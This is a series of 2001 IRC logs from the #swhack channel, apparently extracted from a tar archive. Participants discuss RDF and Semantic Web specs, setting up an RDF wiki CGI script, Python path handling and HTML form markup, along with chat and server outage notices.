03:29:47 <Morbus> been using it for three days now, no probs. 03:29:55 <AaronSw> great 03:30:07 <Morbus> oh, and there are connection problems too. i have to constanty try connectin - probably about 30 times before i finally get in. 03:30:16 <Morbus> but i dunno if that's ag or the program itself 03:38:40 <Morbus> Morbus has quit 12:03:20 <AaronSw> AaronSw has quit 12:03:37 <AaronSw> AaronSw has joined #swhack 12:33:27 <AaronSw> AaronSw has quit 12:53:11 <AaronSw> AaronSw has joined #swhack 13:00:56 <AaronSw> AaronSw has quit 16:11:46 <deltab> deltab has quit 16:18:07 <deltab> deltab has joined #swhack 18:51:25 <AaronSw> AaronSw has joined #swhack 19:51:57 <AaronSw> AaronSw has quit 19:56:52 <AaronSw> AaronSw has joined #swhack 20:10:39 <AaronSw> AaronSw has left #swhack 20:10:42 <AaronSw> AaronSw has joined #swhack 20:10:57 <AaronSw> AaronSw has left #swhack 20:11:03 <AaronSw> AaronSw has joined #swhack 20:12:43 <sbp> sbp has joined #swhack 20:13:53 <AaronSw> Bonjour, misuer Sean 20:14:01 <AaronSw> miseuer 20:14:15 <AaronSw> whatever 20:14:26 <AaronSw> How's it going, sbp? ;) 20:14:49 <sbp> lol, fine thanks 20:14:57 <sbp> Still churning out stuff about RDF from XHTML 20:15:15 <AaronSw> I've noticed it's your new passion. ;) 20:15:32 <sbp> Well, once you come up with a good idea, you can't let it get away 20:15:41 <AaronSw> So true 20:15:52 <sbp> and this one is pretty fine, as they go 20:16:18 <sbp> tricky though... the W3C's XSLT service likes to barf on encoding issues 20:16:31 <AaronSw> encoding issues, ick 20:25:30 <AaronSw> Ooh, I'm mentioned: http://www.eastgate.com/Development/ 20:25:39 <AaronSw> That was a lot of fun. And they paid for lunch. 20:25:43 <AaronSw> I should get photos up soon. 20:26:08 <sbp> What did you talk about? 20:26:28 <AaronSw> All sorts of things: Ceres, Hypertext theory, RDF, Ted Nelson, Legoland... 20:26:45 <AaronSw> He mentioned this talk from HT01: "Wendy Hall on a vision of a semantic web that is Mostly Harm^H^H^H^HLinkless" 20:26:47 <sbp> If you had a nickel for every time you're mentioned somewhere... 20:27:03 <AaronSw> I could buy myself some ice-cream. 20:27:07 <sbp> 01 being 2001, I'm presuming 20:27:18 <sbp> Oooooh, ice-cream 20:27:26 <AaronSw> 01=>2001, yes 20:28:14 <sbp> How are we doing on SURF? 20:29:06 <AaronSw> Hmm, that's a good question. What do you think? 20:29:34 <AaronSw> I think we should submit it for a NOTE along with some RDF draft. 20:29:35 <sbp> well, the thing looks fine. Just needs more junk supporting it; it's basically all there 20:30:14 <sbp> crap, no support for literals or anon in the specification yet; we need to add that 20:30:24 <AaronSw> Oh, yeah... you better 20:30:31 <sbp> and XSD won't let you switch attributes. I think RELAXNG will, though 20:33:11 <AaronSw> Where's the spec again? 20:35:50 <sbp> http://purl.org/swag/surf 20:35:56 <sbp> linked from there... 20:36:37 <sbp> and since when did swag.semanticweb.org change to swag.webns.net??? 20:36:52 <AaronSw> Umm, when I moved the server and was waiting for the DNS to update. 20:37:04 <AaronSw> I had to get Stefan to update it, and it took a few days. 20:37:08 <AaronSw> I can change it back now if you want. 20:37:09 <sbp> cool 20:37:20 <AaronSw> Is that what you want? 20:37:37 <sbp> any time; just looking for consistency. I doubt anyone will link to it anyway, and if they do, they should use the PURL 20:37:49 <AaronSw> they both work. 20:37:49 <sbp> but do they ever? do they fuck. stupid user agents 20:38:19 <sbp> yeah, I mean that it's nice to have some consistency... you don't link to mirror sites usually unless the main site is down 20:38:34 <AaronSw> it's not really a mirror, but I can change the purl 20:39:53 <sbp> I don't mind really, I just noticed that it had changed and wondered if there was any big reason 20:40:03 <AaronSw> now you know 20:42:14 <AaronSw> Hmm, you don't really capitalize of or this in a title (as you did in SURF-spec) 20:42:38 <sbp> It's a habit of mine. Dunno where I picked it up from 20:42:57 <sbp> Playschool, probably 20:43:04 <AaronSw> Perhaps your garden? 20:43:16 <sbp> maybe 20:46:49 <sbp> sbp has quit 22:09:24 <sbp> sbp has joined #swhack 22:09:40 <sbp> [[[ 22:09:44 <sbp> megacrud (UK) n an illegal crud shot where the squidger starts high above the intended wink on a pile which is being shot 22:09:46 <sbp> ]]] - http://cpcug.org/user/rwtucker/tiddlywinks/lex-ktoo.html 22:10:32 <AaronSw> huh? 22:11:02 <sbp> Tiddlywinkers speak a whole different language, it seems 22:11:13 <AaronSw> sure seems that way 22:11:19 <sbp> South Park teaches people that it's possible to make a time machine out of a duck and a microwave 22:11:44 <AaronSw> lol 22:12:02 <sbp> ah, you've got a new nickname 22:12:27 <AaronSw> HWKA doesn't sound as good 22:13:25 <sbp> HWKA? Not bad - hukka 22:13:42 <AaronSw> More like Hwika 22:13:52 <AaronSw> Maybe we can start a Hwiki? 22:14:26 <sbp> lol 22:16:57 <AaronSw> HWKI: He Who Knows It - For those who know 22:18:07 <sbp> ugh, that's painful 23:07:21 <tav> tav has quit 23:07:32 <sbp> sbp has quit 23:07:47 <sbp> sbp has joined #swhack 23:14:16 <sbp> sbp has quit ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-01.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000001665�07344260306�012014� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:05:43 <logster> logster has joined #swhack 00:05:43 <benford.openprojects.net> topic is: "Trying to fix HTML is like trying to graft arms and legs onto hamburger." - Ted Nelson | "I'd like to say thank you on behalf of the group and ourselves" - John Lennon 00:05:43 <benford.openprojects.net> Users on #swhack: logster Morbus AaronSw deltab 00:32:54 <Morbus> Morbus has quit 01:06:13 <sbp> sbp has joined #swhack 01:06:51 <sbp> Protozilla is one kick-ass socket adaptor... 01:07:24 <sbp> It is! 01:12:21 <sbp> sbp has quit 03:31:39 <tav> tav has joined #swhack 10:34:49 <tav> tav has quit 13:57:14 <BenSw> BenSw has joined #swhack 13:57:35 <BenSw> hello AaronSW 14:04:01 <Morbus> Morbus has joined #swhack 14:11:11 <BenSw> BenSw has quit 15:21:08 <Morbus> Morbus has quit 15:58:06 <tav> tav has joined #swhack 16:55:30 <sbp> sbp has joined #swhack 17:11:11 <sbp> sbp has quit 18:36:56 <tav> tav has quit 22:27:18 <tav`> tav` has joined #swhack ���������������������������������������������������������������������������2001-09-02.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000013025�07344541576�012021� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������01:17:10 <logster> logster has joined #swhack 01:17:10 <sagan.openprojects.net> topic is: "Trying to fix HTML is like trying to graft arms and legs onto hamburger." - Ted Nelson | "I'd like to say thank you on behalf of the group and ourselves" - John Lennon 01:17:10 <sagan.openprojects.net> Users on #swhack: logster @sbp tav` AaronSw deltab 01:20:27 <sbp> sbp has quit 01:43:25 <AaronSw> Ooh, another SWAG: http://swag.pitas.com/ 01:50:49 <sbp> sbp has joined #swhack 01:50:58 <AaronSw> Ooh, another SWAG: http://swag.pitas.com/ 01:51:09 <AaronSw> hi sbp 01:51:23 <sbp> Hi there; yeah, I've seen that SWAG before 01:52:06 <sbp> Oh, the judge he guilty-found her 01:52:56 <sbp> But I've been homeward bound-a 01:53:11 <sbp> That no good dirty robbin' Maggie Mae 01:53:17 <sbp> Sorry, just had to sing that 01:53:27 <sbp> My keyboard squeaks 01:54:33 <AaronSw> eek 01:55:18 <sbp> yeah, exactly like that! 01:55:28 <sbp> What browser are you currently running? 01:55:42 <sbp> Have you got Mozilla/Netscape6 installed? 01:55:46 <AaronSw> yep 01:56:02 <AaronSw> running IE5.1/MOSX 01:56:16 <AaronSw> why do you ask? 01:57:44 <sbp> I just wondered... 01:59:39 <AaronSw> Did you see DanC's offer to make a CSS for RDFS? 01:59:53 <sbp> Yeah, a while ago 02:02:10 <AaronSw> hmm, does sendmail run POP? i can't remember... 02:03:10 <AaronSw> no, it's inetd 02:22:54 <sbp> Whatever happened to xml:style? 02:23:11 <sbp> <?xml-stylesheet ...?> is a pain in the butt 02:23:22 <sbp> nasty little hack... 02:24:06 <AaronSw> yep, yep 02:24:22 <sbp> Heh heh:- 02:24:24 <sbp> [[[ 02:24:24 <sbp> XML Accessibility Guidelines 02:24:25 <sbp> 29 August 2001, Daniel Dardailler, Sean B. Palmer 02:24:31 <sbp> ]]] - http://www.w3.org/TR/ 02:24:38 <AaronSw> indeed -- i chumped it 02:24:45 <AaronSw> you've made the front page! :) 02:24:45 <sbp> Neat :-) 02:25:14 <sbp> Oh yeah, so we did 02:25:45 <sbp> People have been saying it should be a recommendation... eek 02:26:18 <AaronSw> Yes, it sure should! 02:27:13 <sbp> Of course it should, but we're too lazy to do so. Plus, we're not really chartered to produce recommendations (although it's not considered a charter violation, because it is a good goal for our work) 02:28:48 <sbp> Have you noticed, BTW, that cuffs and collar don't appear to match on the WD, if you catch my drift? 02:29:33 <sbp> i.e., look at the CVS Id 02:29:52 <sbp> Crap, I just noticed a typo 02:29:58 <sbp> [[[ 02:29:59 <sbp> By reusing or binding a priori unknown elements/attributes to well know ones (in XML core or HTML), this is achievable 02:30:05 <sbp> ]]] - http://www.w3.org/TR/2001/WD-xmlgl-20010829 02:30:10 <sbp> s/know/known 02:31:02 <sbp> Aaargh, damnit: they used Transitional instead of the new DTD 02:35:59 <sbp> Cool, a link to http://swag.webns.net/n3tordf from http://www.w3.org/DesignIssues/Notation3 02:36:25 <AaronSw> niver 02:36:27 <AaronSw> err nice 02:36:54 <sbp> :-) 02:50:35 <sbp> Heh, take a look at the list of Semantic Web researchers on http://img.cs.man.ac.uk/jpan/Zhilin/semWeb.htm 02:51:22 <AaronSw> heh! 02:52:08 <AaronSw> why not me, i wonder 02:52:19 <sbp> You're not important enough 02:52:52 <sbp> Well, it doesn't seem that many of the RDF Core people are on there 02:53:00 <sbp> I accuse you all of being recluses 02:53:17 <sbp> (which is rich, coming from me) 02:53:55 <sbp> I think that Jeff comes at the Semantic Web from the KR/ontology side of things 02:54:12 <AaronSw> i'd suspect so 02:54:22 <sbp> especially judging my the list, which are DAML/academic people 02:54:35 <sbp> and me? well, I commented on his cool RDFS(FA) thing 02:55:23 <AaronSw> aha 02:55:37 <AaronSw> what did that do, again? 02:56:15 <sbp> It basically rejigged RDFS a little bit, to bring it more in line with UML and so on 02:57:12 <sbp> It separated out RDFS into a few layers, Meta layers, ontology layer, instance layer... confusing at first, but would make more sense for people coming at RDF from UML 02:57:33 <AaronSw> ahh, were they the ones that said rdfs:Class shouldn't be a rdfs:Class? 02:59:03 <sbp> Hmm... 02:59:03 <sbp> 2001-08-14: Murray Burke has been named to succeed Jim Hendler as DAML Program Manager. 02:59:14 <sbp> yeah, I think so 02:59:21 <AaronSw> Yes, Jim was talking about that. 02:59:26 <sbp> but there wouldn't really be an rdfs:Class 02:59:31 <sbp> when? 02:59:52 <AaronSw> the other day, i think 03:00:05 <AaronSw> ooh, it's the first of the month! 03:00:25 <sbp> ooh? 03:01:23 <AaronSw> that's why i keep getting all these annoying mailman emails 03:02:48 <sbp> heh, nerdle 03:04:39 <sbp> Well, I'm bored and I'm going home. Oh, I am home. That was quick 03:04:50 <sbp> c'ya! 03:05:12 <AaronSw> heh, bye 03:05:17 <AaronSw> i better go too 03:07:51 <sbp> sbp has quit 08:33:02 <tav`> tav` has quit 08:33:02 <deltab> deltab has quit 08:33:02 <AaronSw> AaronSw has quit 08:33:05 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 08:33:27 <logster> logster has joined #swhack 08:33:27 <carter.openprojects.net> topic is: "Trying to fix HTML is like trying to graft arms and legs onto hamburger." - Ted Nelson | "I'd like to say thank you on behalf of the group and ourselves" - John Lennon 08:33:27 <carter.openprojects.net> Users on #swhack: logster AaronSw 08:34:34 <deltab> deltab has joined #swhack 08:34:34 <tav`> tav` has joined #swhack 15:45:55 <sbp> sbp has joined #swhack 15:46:25 <sbp> sbp has quit 18:38:29 <sbp> sbp has joined #swhack 18:47:50 <sbp> sbp has quit 21:25:02 <tav`> tav` has quit 21:25:02 <deltab> deltab has quit 21:25:08 <deltab> deltab has joined #swhack 21:25:08 <tav`> tav` has joined #swhack 23:40:46 <tav`> tav` has quit �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-03.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000003613�07345007322�012007� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:35:07 <logster> logster has joined #swhack 00:35:07 <forward.openprojects.net> topic is: "Trying to fix HTML is like trying to graft arms and legs onto hamburger." - Ted Nelson | "I'd like to say thank you on behalf of the group and ourselves" - John Lennon 00:35:07 <forward.openprojects.net> Users on #swhack: logster sbp AaronSw deltab 00:35:33 <sbp> sbp has left #swhack 00:35:34 <sbp> sbp has joined #swhack 00:35:44 <sbp> now who' 00:35:51 <sbp> s not the operator, eh? 00:36:06 <sbp> * sbp talks to his mIRC client 00:36:20 <sbp> and no one else it seems... 00:36:29 <sbp> logster, are you listening to me? Good... 00:36:29 <sbp> I'm logging. I don't understand 'are you listening to me? Good...', sbp. Try /msg logster help 00:37:01 <sbp> Ah, it listens, but doesn't understand. That'll have to do, I suppose 00:40:51 <sbp> sbp has quit 03:55:25 <ChanServ> ChanServ has changed the topic to: 03:56:12 <AaronSw> AaronSw has changed the topic to: What are you looking at? 13:42:58 <AaronSw> AaronSw has quit 15:04:10 <tav`> tav` has joined #swhack 18:19:25 <AaronSw> AaronSw has joined #swhack 19:18:18 <AaronSw> ugh! why does Python keep segfaulting on me! 19:23:07 <AaronSw> It's just: 19:23:08 <AaronSw> #0 0x00061f68 in _sre_match () 19:23:08 <AaronSw> #1 0x00062780 in _sre_match () 19:23:09 <AaronSw> #2 0x000627d0 in _sre_match () 19:23:10 <AaronSw> #3 0x000627d0 in _sre_match () 19:23:10 <AaronSw> #4 0x000627d0 in _sre_match () 19:23:14 <AaronSw> on for hundreds... 21:28:33 <sbp> sbp has joined #swhack 21:29:20 <sbp> 1) Feckarse 21:29:25 <sbp> 2) Yes please :-) 21:38:27 <sbp> sbp has quit 21:43:39 <sbp> sbp has joined #swhack 21:44:09 <sbp> sbp has quit 22:05:31 <AaronSw> Wow, the iBot is absolutely awesome. 22:09:38 <AaronSw> http://www.indetech.com/ 22:09:47 <AaronSw> Cool, it's even accessible. 22:13:56 <AaronSw> And then they use flash... ugh. 23:14:26 <sbp> sbp has joined #swhack ���������������������������������������������������������������������������������������������������������������������2001-09-04.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000014156�07345263706�012026� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:03:33 <logster> logster has joined #swhack 00:03:33 <sagan.openprojects.net> topic is: What are you looking at? 00:03:33 <sagan.openprojects.net> Users on #swhack: logster AaronSw tav` deltab 04:05:15 <AaronSw> AaronSw has quit 04:14:39 <AaronSw> AaronSw has joined #swhack 04:15:22 <AaronSw> AaronSw has quit 04:15:31 <AaronSw> AaronSw has joined #swhack 04:17:12 <AaronSw> Hmz, second kernel panic. 04:19:59 <AaronSw> AaronSw has quit 04:20:12 <AaronSw> AaronSw has joined #swhack 04:20:55 <AaronSw> And new client does text2speech for all channels at once, which is really disconcerting. ;-) 04:22:09 <tav`> tav` has quit 04:26:43 <AaronSw> AaronSw has quit 04:26:56 <AaronSw> AaronSw has joined #swhack 04:58:42 <tav> tav has joined #swhack 05:43:33 <tav> tav has quit 05:59:03 <tav`> tav` has joined #swhack 07:28:37 <cdlu> [GlobalNotice] As you may have noticed, services disappeared a moment ago, and we'll have to make one big split to bring it back. Please put on your seatbelts, and enjoy your flight. We appologise for the inconvenience. 07:29:00 <deltab> deltab has quit 07:29:00 <tav`> tav` has quit 07:29:42 <deltab> deltab has joined #swhack 07:29:42 <tav`> tav` has joined #swhack 12:16:25 <lilo> [GlobalNotice] Hi all. Services will be back up momentarily. 12:18:16 <lilo> [GlobalNotice] Hi all. There will be some splits as services returns. Please bear with us. 12:18:40 <deltab> deltab has quit 12:18:40 <tav`> tav` has quit 12:19:31 <deltab> deltab has joined #swhack 12:19:31 <tav`> tav` has joined #swhack 12:22:12 <deltab> deltab has quit 12:22:12 <tav`> tav` has quit 12:23:06 <deltab> deltab has joined #swhack 12:23:06 <tav`> tav` has joined #swhack 12:26:30 <lilo> [GlobalNotice] That should take care of matters. Sorry for the inconvenience, and thank you again for using OPN. 15:30:22 <lilo> [GlobalNotice] Hi all. Apologies for the inconvenience, but we will need to restart services in a moment in order to resolve an issue. If you'd like to help with the ongoing problems, but aren't sure how you can, /msg me and I'll give you status. Thanks. 15:30:42 <lilo> [GlobalNotice] In the meantime, expect services to die and subsequent massive splits and rejoins as it comes back. 15:35:25 <deltab> deltab has quit 15:35:25 <tav`> tav` has quit 15:36:05 <deltab> deltab has joined #swhack 15:36:05 <tav`> tav` has joined #swhack 15:36:09 <ChanServ> ChanServ has changed the topic to: 15:36:39 <lilo> [GlobalNotice] Looks as if the problems are resolved for now. I'll dig up the list of people who messaged in response to my query and set up a channel to go over status. Thanks. 16:18:24 <lilo> [GlobalNotice] We'll have services back up in a moment, with the usual splits. Apologies for the inconvenience. 16:21:22 <ChanServ> ChanServ has changed the topic to: 18:35:42 <lilo> [GlobalNotice] Interesting day for services problems. We'll be bringing it back up in a moment. Please bear with us. 18:38:49 <ChanServ> ChanServ has changed the topic to: 19:08:49 <AaronSw> AaronSw has changed the topic to: Oooh, would'ya look at that? 19:12:39 <AaronSw> AaronSw has changed the topic to: Americans' biggest concerns: online privacy 67%; missile defense shield 22%. (from http://www.nytimes.com/2001/09/04/technology/04COOK.html) 19:20:21 <sbp> sbp has joined #swhack 19:20:26 <AaronSw> hi sbp! 19:20:39 <sbp> hi there! 19:29:05 <sbp> absolutely 19:29:45 <sbp> er... absolutely fabulous (Ab Fab) is a T.V. show we have here in the U.K. 19:39:44 <AaronSw> ouch... 19:40:03 <sbp> what? 19:40:14 <sbp> oh, perhaps you mean: http://swag.webns.net/n3tordf?uri=http%3A%2F%2Fxmlns.filsa.org%2Fmetamail%2F0.1%2Fmetamail.rdf&from=rdf is borken 19:40:23 <sbp> borken? he he he 19:40:29 <AaronSw> yes... i just noticed that our server is missing the pyxml modules 19:40:53 <sbp> Oh, man... How long has it been like that? 19:41:01 <AaronSw> since I moved it to the new server 19:41:14 <sbp> Ah, well 19:55:21 <AaronSw> Pat Hayes: "The M&S doesn't seem to feel a compulsion to go on and on about recommended uses of Bananas." 19:55:57 <AaronSw> ... "In other words, we are saying that it *does* mean something, nudge nudge wink wink, but *we* aren't going to come out and say what it does mean, for some reason. (Not that we couldn't: we can, in fact, but we are refusing to, for some reason, probably because ... well, I cannot think why, to be honest. )" 19:58:31 <sbp> sbp has quit 20:12:01 <deltab> deltab has quit 20:12:01 <tav`> tav` has quit 20:12:14 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 20:12:27 <logster_1> logster_1 has joined #swhack 20:12:27 <carter.openprojects.net> topic is: Americans' biggest concerns: online privacy 67%; missile defense shield 22%. (from http://www.nytimes.com/2001/09/04/technology/04COOK.html) 20:12:27 <carter.openprojects.net> Users on #swhack: logster_1 logster AaronSw tav` deltab 20:12:30 <ASwartz> ASwartz has joined #swhack 20:12:31 <logster> logster has quit 20:12:31 <AaronSw> AaronSw has quit 20:14:29 <ASwartz> ASwartz is now known as AaronSw 20:21:52 <lilo> [GlobalNotice] Hi all. Once more into the breach. In case you're wondering, we killed a cracker channel yesterday. The new code should be a lot cleaner, but scheduling has been a problem. Thanks. 20:22:24 <lilo> [GlobalNotice] We'll be coming back up in a moment, with the attendant temporary splits. 20:23:00 <deltab> deltab has quit 20:23:00 <tav`> tav` has quit 20:23:13 <ChanServ> ChanServ has changed the topic to: 20:23:20 <tav`> tav` has joined #swhack 20:23:20 <deltab> deltab has joined #swhack 20:26:26 <AaronSw> AaronSw has changed the topic to: THIS TOPIC LEFT INTENTIONALLY BLANK 20:26:41 <AaronSw> AaronSw has changed the topic to: THIS SPACE INENTIONALLY LEFT BLANK 20:26:48 <AaronSw> AaronSw has changed the topic to: THIS SPACE INTENTIONALLY LEFT BLANK 20:30:40 <AaronSw> AaronSw has quit 20:30:44 <AaronSw> AaronSw has joined #swhack 21:56:01 <tav`> tav` has quit 22:42:56 <Morbus> Morbus has joined #swhack 23:17:27 <Morbus> Morbus has left #swhack 23:30:18 <Morbus> Morbus has joined #swhack 23:36:28 <Morbus> Morbus has left #swhack 23:41:09 <sbp> sbp has joined #swhack 23:43:10 <sbp> sbp has quit 23:46:14 <tav`> tav` has joined #swhack ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-05.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000023335�07345522050�012014� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:57:03 <logster> logster has joined #swhack 00:57:03 <sagan.openprojects.net> Users on #swhack: logster Morbus tav` deltab AaronSw 01:08:41 <Morbus> Morbus has quit 02:21:46 <sbp> sbp has joined #swhack 02:22:21 <AaronSw> How's it going? 02:23:03 <sbp> Great! Hang on a sec... 02:24:48 <sbp> Right, can you install Python scripts on swag.semanticweb.org? 02:25:15 <AaronSw> CGIs, sure. 02:25:21 <sbp> Cool... 02:25:23 <sbp> Try this:- 02:25:45 <sbp> [non-cool URI supressed] 02:26:19 <AaronSw> Nice! 02:26:26 <sbp> thank you :-) 02:27:02 <AaronSw> Your links are bum! http://127.0.0.1:81/cgi-bin/rdfwiki.cgi?NodeTitle ? 02:27:12 <sbp> oh, of course... he he he 02:27:19 <sbp> let me fix that for you... 02:27:42 <sbp> done 02:29:30 <AaronSw> Seems pretty cool. 02:29:59 <sbp> it *is* pretty cool. I just need to do the mandatory "release", "set up", and all that crap 02:30:26 <sbp> as you can tell, the user interface isn't all that it's cracked up to be yet 02:30:49 <AaronSw> Heheh 02:31:26 <sbp> Aw... you haven't added any triples 02:31:42 <sbp> according to ./rdfwiki.cgi?n3=1 02:32:41 <AaronSw> I'm afraid. :-) 02:32:44 <AaronSw> * AaronSw adds some triples 02:32:54 <sbp> Hmm... it's not a "true" Wiki yet, because you can't remove data... 02:33:12 <AaronSw> It's also sorta slow over your connection ;-) 02:33:17 <sbp> blargh 02:33:45 <AaronSw> Eek... ArcType needs a None choice! 02:33:50 <AaronSw> err, WikiText, perhaps 02:34:06 <AaronSw> oops, never mind 02:34:24 <AaronSw> ValueType: WikiName... dooes that mean one WikiName or WikiText? 02:35:27 <sbp> one WikiName... try it and find out! 02:36:06 <sbp> a literal means any character data. All WikiNames are ConvertedIntoLinks 02:36:25 <sbp> * sbp finds out he's going to have to document this quite a bit... 02:37:03 <AaronSw> eek -- if I don't choose an ArcType it blows up -- you should pick a default 02:37:15 <sbp> good idea 02:37:18 <sbp> * sbp goes and does it 02:38:10 <sbp> Done 02:39:10 <sbp> Hmm... "get node" doesn't work. How does one pass a value to the entire query string? 02:39:45 <AaronSw> ISINDEX? 02:40:22 <sbp> Er... wasn't that deprecated in favor of something else? 02:40:37 <sbp> * sbp looks it up 02:40:39 <AaronSw> Hey, you're the HTML expert. ;-) 02:41:02 <sbp> gmrfl 02:41:23 <sbp> Oh, love it: "ISINDEX is deprecated. This element creates a single-line text input control. Authors should use the INPUT element to create text input controls." 02:41:52 <deltab> not that those will work in the same way 02:42:07 <sbp> yeah, exactly 02:42:12 <deltab> IMDb's ISINDEX interfaces still work, btw 02:42:13 <AaronSw> heh 02:42:13 <sbp> aaaaargh! 02:42:20 <sbp> where'd you come from? 02:42:31 <AaronSw> huh? 02:42:49 <sbp> * sbp jumps at the presence of deltab 02:42:53 <deltab> oh 02:42:54 <sbp> :-) 02:43:14 <deltab> I've been here all along 02:43:19 <AaronSw> :-) 02:43:22 <sbp> he he he 02:43:46 <sbp> grr, it tells you to use <input/> to achieve the same effect, but it doesn't say *how* 02:44:55 <deltab> you can't get exactly the same 02:45:23 <sbp> * sbp resorts to working out isindex instead 02:47:16 <sbp> Heh, still doesn't work 02:47:55 <deltab> instead of isindex you'd need something like: 02:47:56 <deltab> <form method="get"><div><label> Get a node: <input type="text" 02:47:56 <deltab> size="17" /><input type="submit" value="submit" /></label></div></form> 02:47:59 <deltab> :-) 02:48:27 <sbp> you'd think that, wouldn't you? :-) 02:48:40 <AaronSw> <label>? 02:48:52 <sbp> attaches that text to that input control 02:48:58 <sbp> an accessibility thing 02:49:06 <AaronSw> cool 02:50:13 <sbp> Well, I've had enough of trying to find that out 02:50:18 <sbp> * sbp toodles off 02:50:23 <sbp> c'ya 02:50:26 <AaronSw> bye 02:53:24 <sbp> sbp has quit 03:47:59 <sbp> sbp has joined #swhack 03:48:09 <AaronSw> hello again 03:48:37 <sbp> hi there 03:48:42 <sbp> source code now available:- 03:48:48 <sbp> http://infomesh.net/2001/rdfwiki/rdfwiki.txt 03:49:14 <sbp> Could you set it up at SWAG for me, please? 03:49:56 <AaronSw> Always asking for something, aren't you. ;-) 03:50:18 <sbp> Could you not ask me questions like that, please? 03:50:23 <sbp> :-) 03:51:47 <sbp> * sbp wonders if he could get his server guys to put Python on the server... risky 03:53:05 <sbp> all you have to do is feck with the three variables at the top, and away it goes 03:53:23 <sbp> er... create a rdfwiki.pkl file somewhere, too 03:54:04 <AaronSw> * AaronSw is still configuring CGI support 03:54:33 <sbp> set the password to something cool... but it's only to initialize the Wiki simply, and once done, that bit of code can probably be whipped out for security 03:57:24 <AaronSw> pff, you killed logicerror 03:57:39 <AaronSw> oh, maybe not 03:58:37 <sbp> phew 04:00:27 <AaronSw> * AaronSw runs de-cr on your file 04:00:48 <sbp> de-cr? 04:02:23 <AaronSw> to get rid of your silly line breaks 04:04:42 <AaronSw> Tada: http://admin.logicerror.com/n3/rdfwiki.cgi 04:04:45 <AaronSw> with no setup 04:04:48 <AaronSw> [not a cool URI] 04:06:36 <sbp> er... you must have an old version 04:07:30 <sbp> what version number do you have? 04:08:14 <xena> xena has joined #swhack 04:08:21 <AaronSw> Hi xena! 04:08:22 <AaronSw> Grr, why do you not use relative links 04:08:53 <AaronSw> I'm using 0.9 04:09:27 <sbp> Hmm... 04:10:43 <sbp> crap! I uploaded the wrong version 04:11:04 <AaronSw> Hmm: 04:11:07 <AaronSw> return pickle.load(open(StoreFile,'rb')) 04:11:07 <AaronSw> EOFError: 04:12:57 <sbp> * sbp notes something really weird is going on with his local versions 04:13:40 <sbp> oh, heh, just got it... 04:14:35 <sbp> ta da: http://infomesh.net/2001/rdfwiki/rdfwiki.txt 04:14:37 <sbp> 0.95 04:14:50 <AaronSw> Can you do me some favors? 04:14:56 <sbp> sure 04:14:56 <AaronSw> de-cr.py it ahead of time 04:15:01 <AaronSw> de-cr.py is in SWAP 04:15:05 <AaronSw> and stick: 04:15:15 <AaronSw> at the top 04:15:58 <sbp> O.K. 04:17:03 <AaronSw> Ooh, and style too! 04:17:40 <AaronSw> Now can you have it make an opening db file? 04:18:28 <AaronSw> and set the URLBase to '.' for goodness sake! 04:18:51 <AaronSw> err WikiBase 04:20:01 <AaronSw> hmm, maybe not . 04:20:19 <AaronSw> './rdfwiki.cgi' 04:21:07 <sbp> I don't like file extensions... anyway, the users can set it, it's all in the changable constants bit 04:21:17 <AaronSw> well set it to '' then! 04:21:29 <AaronSw> just use relative URIs for goodness sake!!!!! 04:21:41 <sbp> fine, change it! 04:21:51 <AaronSw> I did. 04:22:33 <AaronSw> use sys.argv[0] 04:22:51 <AaronSw> WikiBase = './' + sys.argv[0] 04:23:08 <AaronSw> hmm..maybe not 04:23:33 <AaronSw> WikiBase = './' + string.split(sys.argv[0], os.sep)[-1] 04:23:59 <sbp> apologies, it's getting late, I'd better go 04:24:45 <sbp> c'ya! 04:24:48 <AaronSw> And bye 04:27:03 <deltab> AaronSw: os.path.split(sys.argv[0])[1] would be better 04:27:32 <AaronSw> Does that work? 04:27:47 <sbp> sbp has quit 04:27:53 <AaronSw> ahh, I guess it does 04:28:33 <AaronSw> Now what's the better way of saying: Root = string.join(string.split(sys.argv[0], os.sep)[:-1], os.sep) + '/' 04:31:48 <deltab> um, what's that for? You've got both os.sep and '/' 04:32:05 <AaronSw> oops, s/'\/'/os.sep/ 04:32:12 <AaronSw> Root = string.join(os.path.split(sys.argv[0])[:-1], os.sep) + os.sep 04:32:24 <AaronSw> That's the name of the local directory 04:32:40 <deltab> there's also os.path.join 04:33:08 <deltab> and os.path.dirname 04:33:47 <AaronSw> os.path.dirname(sys.argv[0]) + os.sep 04:35:53 <deltab> os.path.join(os.path.dirname(sys.argv[0]), '') 05:23:24 <tav`> tav` has quit 07:42:04 <xena> xena has quit 07:43:18 <deltab> deltab has quit 07:52:09 <deltab> deltab has joined #swhack 07:55:10 <deltab> deltab has quit 08:03:01 <deltab> deltab has joined #swhack 08:03:07 <deltab> deltab has quit 08:03:08 <deltab> deltab has joined #swhack 13:16:01 <tav`> tav` has joined #swhack 13:16:48 <tav`> tav` has quit 15:59:07 <sbp> sbp has joined #swhack 16:15:17 <sbp> sbp has quit 19:23:18 <sbp> sbp has joined #swhack 19:23:24 <AaronSw> bonjour 19:23:48 <sbp> Hi there 19:24:38 <AaronSw> I assume you want me to install the Wiki> 19:24:42 <AaronSw> s/>/?/ 19:27:49 <sbp> yes please :-) Although Dan's already done so... 19:37:39 <AaronSw> Okedoke. 